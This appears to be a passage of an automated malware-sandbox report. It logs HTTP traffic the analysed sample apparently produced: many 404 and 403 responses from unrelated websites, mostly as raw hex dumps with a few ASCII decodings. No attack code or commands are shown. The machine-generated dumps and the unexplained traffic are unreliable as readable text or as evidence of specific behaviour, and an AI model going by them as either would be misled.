2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.wakux2.com/wp/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 36 31 34 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 d5 bd 7b 93 1c cb 75 1f f8 f7 bd 11 fe 0e c5 81 48 00 e4 74 4f 4f cf 03 f3 c0 80 96 49 4b ab d5 9a e4 ae a8 70 c4 2a 18 88 ea ee ea 99 06 fa c5 7e 60 30 c4 62 43 00 d6 32 a9 4b ed 5b a6 64 c9 4b 3d 68 eb 15 a2 4c 4b 0e 6b 29 5a 8a d8 af 32 c4 25 f9 97 bf 82 4f be aa 32 4f 9e cc 3c 55 dd 00 b9 97 00 38 5d 9d f9 3b 27 4f 9e 3c 79 7e a7 b2 6a 1e 7e 62 30 eb af 6e e6 45 76 b5 9a 8c 1f 7d f8 50 fc 5f 36 ce a7 97 17 3b 4f f2 9d 47 1f c2 95 22 1f c0 17 93 62 95 67 fd ab 7c b1 2c 56 17 3b eb d5 b0 75 02 5f ab cb d3 7c 52 5c ec 3c 1b 15 d7 f3 d9 62 b5 93 f5 67 d3 55 31 85 66 d7 a3 c1 ea ea 62 50 3c 1b f5 8b 96 fc b0 9b 8d a6 a3 d5 28 1f b7 96 fd 7c 5c 5c ec b7 3b bb 99 e9 d9 1a 8e 56 17 fd d9 b3 62 81 a0 17 c5 b0 58 2c e0 72 05 3d 9d b5 cc d5 d6 f5 55 31 6d 0d 66 d7 d3 cb 45 3e 28 50 df e1 6c 31 c9 57 ad 41 b1 2a fa ab d1 6c 6a 61 ac 8a 71 31 bf 9a 4d 8b 8b e9 4c 8c 35 cb c4 1f f8 fb f0 13 ad 56 f6 c5 d5 55 b1 c8 7e 7e 9a 8f 6f 56 a3 fe 32 6b b5 60 bc cb fe 62 34 5f 65 f9 f2 66 da cf 96 8b fe c5 ce d5 6a 35 5f 9e ed ed cd f3 4b b0 54 b7 7d 39 9b 5d 8e 0b f8 7e 30 ea e7 42 60 bb 3f 9b e8 6f f7 9e 2c f7 f2 c1 b2 77 a3 1a b5 9f 2c 3f db 1f 8f 84 a9 fa 79 6b be ee b5 8e 0f 8e 4e ba 9d e3 c3 a3 ee 69 e7 41 e7 f4 70 e7 1f 81 36 f0 5f 7f 31 5b 2e 67 8b d1 e5 68 7a b1 93 4f 67 d3 9b c9 6c bd dc 79 f4 70 4f 29 04 9a 09 95 f7 48 9d c5 37 f3 45 01 b3 32 05 13 64 83 e9 b2 05 1f 87 c5 aa 7f a5 06 35 1e 4d 9f 66 8b 62 7c b1 13 68 b6 93 5d 41 87 8b 9d bd bd eb eb 6b 3d c2 55 7e 39 c9 a7 30 e8 85 18 a0 30 7a 23 98 16 60 28 03 37 80 c9 9f e4 cf b5 3a f9 7c b4 6c 80 d0 1f 4c 9f 40 bf f1 6c 3d 18 8e f3 45 d1 00 22 3a f1 35 ed a2 fc 02 5c a4 7d d9 1e cc d6 bd 71 01 fe d1 7f da 9e 16 ab 9a 48 ab 79 9f 76 c5 9a 38 f9 60 43 45 a4 c7 2c 57 b0 14 fa 0d 8c db 5f 16 7a 18 0d 3a 0f 21 0e 81 25 1b 0b d7 fd e5 82 6e ea 5f 93 65 fb ab eb 1c f4 28 16 cf 9a 78 d7 b2 e8 af c1 2d 21 b2 3d cb 57 79 93 b5 06 2e de b6 c3 d1 ea 7a 34 b9 6c 60 4d 81 f3 64 39 28 c6 a3 67 8b 06 0e 39 9a 40 ac 58 b6 86 45 7b b9 1c b7 f4 a7 7c 92 7f 4d 45 c8 9a 6e 09 21 67 3e 2e 64 78 6d 8c 31 69 4f 8a c1 28 6f 35 06 18 b5 27 b3 e5 d5 68 32 6b 60 cd 7c 32 6e 3f cb c7 6b 08 cb 93 49 b1 e8 37 f1 8d 41 3e ee 6f 03 a4 47 82 a8 2d e5 4b b0 2f cc f2 01 b1 51 88 cb 3b b0 13 5e ec 88 75 b2 93 89 34 42 fd bc 77 3d 1b 0e cd 9e 21 f6 47 d8 1e 45 18 b8 ce 9f ae 9f 77 85 b1 f6 ae e7 f0 a7 a5 13 85 3d d8 69 27 c5 72 af 3f eb cf 66 d3 d6 24 5f ae 8a c5 de 75 d1 93 0b 70 6f 04 1d e0 fa 9e f3 a9 ad 64 58 1b 23 de 81 12 fa 75 b7 a7 a0 50 2c bf 2e 96 b3 49 a1 95 b4 ae b4 f4 38 a4 c2 dd cf 3e bb 38 6c 3f 68
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:27 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: cHE7HR3w/20XlQ5MHData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 231Connection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f 41 4f c3 30 0c 85 ef fd 15 66 77 ea 82 76 e0 60 45 1a 6b 27 26 75 a3 82 ec b0 63 d6 98 a5 a2 4d 4a 92 81 f6 ef 49 3b 21 71 b1 f4 ec f7 3d 3d d3 5d f9 ba 96 c7 a6 82 17 b9 ab a1 39 3c d7 db 35 2c ee 11 b7 95 dc 20 96 b2 bc 5d 1e f3 02 b1 da 2f 44 46 26 0e bd 20 c3 4a 27 11 bb d8 b3 58 16 4b d8 bb 08 1b 77 b1 9a f0 b6 cc 08 67 13 9d 9c be 4e dc 83 f8 e7 49 2a a3 51 48 c3 e0 f9 eb c2 21 b2 86 c3 5b 0d d8 98 71 77 5d e9 a1 b3 08 3f 2a 80 4d d0 c7 04 81 b3 10 4d 17 20 b0 ff 66 9f 13 8e 53 ac 4f 43 69 ed 39 04 b1 1a 55 9b 12 df 67 03 a8 08 a7 5e b5 9f 9a 43 77 b6 79 eb 86 3c 9c a1 71 3e c2 53 41 f8 07 a5 a2 73 c5 54 6a 7a 2d fb 05 9f fb 58 ff 15 01 00 00 Data Ascii: MAO0fwv`Ek'&ucMJI;!q==]9<5, ]/DF& J'XKwgNIQH![qw]?MM fSOCi9Ug^Cwy<q>SAsTjz-X
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:21 GMTConnection: closeContent-Length: 53022Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 65 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 34 30 34 3b 68 74 74 70 3a 2f 2f 63 6f 70 79 73 65 74 2e 63 6f 6d 3a 38 30 38 30 2f 69 6e 64 65 78 2e 69 6d 6c 3f 50 41 54 48 5f 31 3d 61 64 6d 69 6e 26 46 55 4c 4c 5f 50 41 54 48 3d 61 64 6d 69 6e 3a 61 64 6d 69 6e 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 20 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 70 79 73 65 74 2e 63 6f 6d 2f 22 20 3e 0d 0a 20 20 0d 0a 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 34 2e 33 2e 30 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 3f 76 3d 33 2e 31 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 70 72 69 6e 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 73 79 73 74 65 6d 2f 32 30 31 31 2f 63 6f 6d 6d 6f 6e 5f 70 72 69 6e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:28 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2Connection: UpgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 66 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3b 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 65 7d 65 6c 73 65 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 29 3b 65 28 29 7d 7d 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 68 65 43 68 61 6d 70 44 65 66 61 75 6c 74 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 2c 20 74 68 65 43 68 61 6d 70 43 6c 6f 73 65 49 63 6f 6e 50 61 74 68 20 3d 20 27 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 75 70 65 72 2d 73 6f 63 69 61 6c 69 7a 65 72 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 70 6e 67 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 3e 76 61 72 20 74 68 65 43 68 61 6d 70 53 69 74 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 27 2c 20 74 68 65 43 68 61 6d 70 56 65 72 69 66 69 65 64 20 3d 20 30 2c 20 74 68 65 43 68 61 6d 70 45 6d 61 69 6c 50 6f 70 75 70 20 3d 20 30 2c 20 68 65 61 74 65 6f 72 53 73 4d 6f 72 65 53 68 61 72 65 50 6f 70 75 70 53 65 61 72 63 68 54 65 78 74 20 3d 20 27 53 65 61 72 63 68 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 09 09 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:28 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:28 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveCache-Control: privateSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BxBRyMCjiz6Vy6v0HxOERy4nJaac%2FucFKL%2Fr85%2BC5FuB%2FPkthemFI4oe5OmBNi%2BfSDDwl9qvX1VIG2qpJjQ5AwH0ODdqUHcfNVE0ke8gCB7ODSItYaqsvE5U%2FnDtfEbOVn8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dc17a71036a-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:28 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:28 GMTcontent-length: 58Data Raw: 59 6f 75 20 64 6f 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 76 69 65 77 20 74 68 69 73 20 64 69 72 65 63 74 6f 72 79 20 6f 72 20 70 61 67 65 2e Data Ascii: You do not have permission to view this directory or page.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-transform, no-cache, must-revalidate, max-age=0link: <http://www.mgbymags.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encoding,User-Agentdate: Wed, 20 Dec 2023 02:13:28 GMTserver: LiteSpeedData Raw: 32 37 33 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d eb 92 db 36 d2 e8 6f 4d d5 be 03 4c 97 67 46 89 78 93 34 17 6b 46 ca da ce e5 f3 f7 c5 8e 37 8e 37 b5 15 bb 54 10 09 49 18 53 04 43 80 a3 99 cf 99 53 e7 35 ce bf f3 2c e7 51 ce 93 9c 6a 5c 48 50 b7 d1 8c 65 c7 d9 3a f6 6e 2c 02 44 a3 d1 68 34 ba 1b e8 e6 